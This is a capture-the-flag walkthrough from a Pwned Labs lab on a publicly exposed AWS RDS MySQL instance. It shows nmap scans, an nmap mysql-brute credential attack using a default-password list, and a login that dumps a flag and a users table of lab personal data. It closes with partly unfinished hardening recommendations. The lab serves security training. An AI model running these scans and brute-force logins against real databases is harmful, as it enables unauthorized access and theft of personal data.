Pillage Exposed RDS Instances

A walkthrough demonstrating how to exfiltrate data from a public RDS instance.

CTF Source: Pwned Labs

Overview

In this walkthrough, we're provided with a public RDS endpoint and asked to do a security assessment.

Pre-Requisites

  • Install awscli: (brew/apt) install awscli

  • Install nmap: (brew/apt) install nmap

  • Install seclists: (brew/apt) install seclists

  • Install mysql cli: apt install mariadb-client-core

Walkthrough

Discovering RDS

Given an RDS endpoint, we’re going to perform a port scan to identify potential database instances running.

nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com

Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.16s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE    SERVICE
1433/tcp filtered ms-sql-s
1521/tcp filtered oracle
3306/tcp open     mysql
5432/tcp filtered postgresql

Nmap done: 1 IP address (1 host up) scanned in 2.78 seconds

Now that we know of an open port let’s run some more tests with nmap.

⁠Before running, it’s important to understand what we’re doing.

nmap -Pn -sV -p3306 --script=mysql-info exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com

Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.15s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 8.0.32
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.32
|   Thread ID: 199055
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, LongPassword, IgnoreSigpipes, FoundRows, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, ODBCClient, InteractiveClient, SupportsCompression, ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: 6]\x16\x03SS].:Y} 3KOUE@u"
|_  Auth Plugin Name: mysql_native_password

Brute-Forcing MySQL

Now that we know the version of MySQL is ⁠8.0.32⁠, we can view the documentation and discover that unless the configuration was updated, the default username is: ⁠root⁠ and it may not have a password. Let’s try to connect.

mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root --skip-password

ERROR 1045 (28000): Access denied for user 'root'@'71-33-139-184.hlrn.qwest.net' (using password: NO)
  • ⁠-h⁠ connect to a remote host, without this it will attempt to connect to a local mysql db

  • ⁠-u⁠ specify the username

  • ⁠--skip-password⁠ attempt authentication without a password

Bonus, there’s also an nmap script that will do the same as above --script=mysql-empty-password⁠ and also check for ⁠anonymous user.

No dice. Not to worry, we can attempt to brute-force the password.

Let’s first ensure we have a good password list e.g., ⁠mysql-betterdefaultpasslist.txt

  • If you have Seclists installed, we can find this here ⁠ls -lh /usr/share/seclists/Passwords/Default-Credentials/ | grep mysql

We’re going to use the nmap script mysql-brute. Looking over the documentation we know our creds file needs to be formatted a certain way,

a file containing username and password pairs delimited by '/'

Our file is currently delimited by ⁠: so let’s fix that.

head -5 /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt

root:mysql
root:root
root:chippc
admin:admin
root: 

We’ll copy this creds file to our local directory so we don’t butcher the original.

cp /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt .

Then we’ll use ⁠sed⁠ to change the ⁠:⁠ to a ⁠/

sed -i 's/:/\//g' mysql-betterdefaultpasslist.txt

Now we can confirm the changes.

head -5 ./mysql-betterdefaultpasslist.txt 

root/mysql
root/root
root/chippc
admin/admin
root/

We’re ready to run our brute-force attack!⁠

It’s important to understand that brute-forcing is noisy and may trigger an account lockout policy.

nmap -Pn -p3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=./mysql-betterdefaultpasslist.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com

Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.30s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-brute: 
|   Accounts: 
|     dbuser:123 - Valid credentials
|_  Statistics: Performed 23 guesses in 201 seconds, average tps: 0.0

Nmap done: 1 IP address (1 host up) scanned in 200.81 seconds
  • brute.delay=10 this increases the timeout, the default is set to 0 which may cause the script to fail to find any results

It looks like we found valid creds! ⁠dbuser:123⁠. Let’s attempt to connect to MySQL with these.

mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p    
Enter password: 

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 204271
Server version: 8.0.32 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

Nice. We’re in! Let’s see what data there is.

Exfiltrating Data

Show the databases

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| user_info          |
+--------------------+
3 rows in set (0.166 sec)

Select the database ⁠user_info⁠ and view its tables

MySQL [(none)]> use user_info;

Database changed
MySQL [user_info]> show tables;
+---------------------+
| Tables_in_user_info |
+---------------------+
| flag                |
| users               |
+---------------------+
2 rows in set (0.153 sec)

Read the flag

MySQL [user_info]> select * from flag;
+----------------------------------+
| flag                             |
+----------------------------------+
| e1c342[snip] |
+----------------------------------+
1 row in set (0.156 sec)

Read plaintext users data

MySQL [user_info]> select * from users;
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| userId | fname         | lname          | email                                | password     | ip_address      | creditcard          |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
|      1 | Erwin         | Eringey        | eeringey0@epa.gov                    | JQ6VoFjGT    | 244.218.113.151 | 3551222381964508    |
|      2 | Carolyne      | Koppens        | ckoppens1@scribd.com                 | YEclSnT3mZA  | 235.196.167.220 | 3565797270077680    |
|      3 | Isa           | Tapsell        | itapsell2@sbwire.com                 | Mrz5z7rB8J   | 100.112.175.106 | 6761958300756751    |
[snip]

Wrap-Up

In this scenario, we were tasked with identifying security concerns on an AWS RDS instance and we discovered a few issues:

  1. Database public exposure

    • The instance was publicly exposed and there are few use cases where this is needed

    • Recommendation:

      • Turn off public access if possible

      • If public access is required, consider restricting access via Security Groups to only approved IP addresses

      • Consider utilizing AWS IAM for database authentication or integrating with AWS Secrets Manager for password authentication

  2. Database authentication

  3. Data security

    • The ⁠user_info⁠ data in the MySQL database was not encrypted

    • Recommendation:

Last updated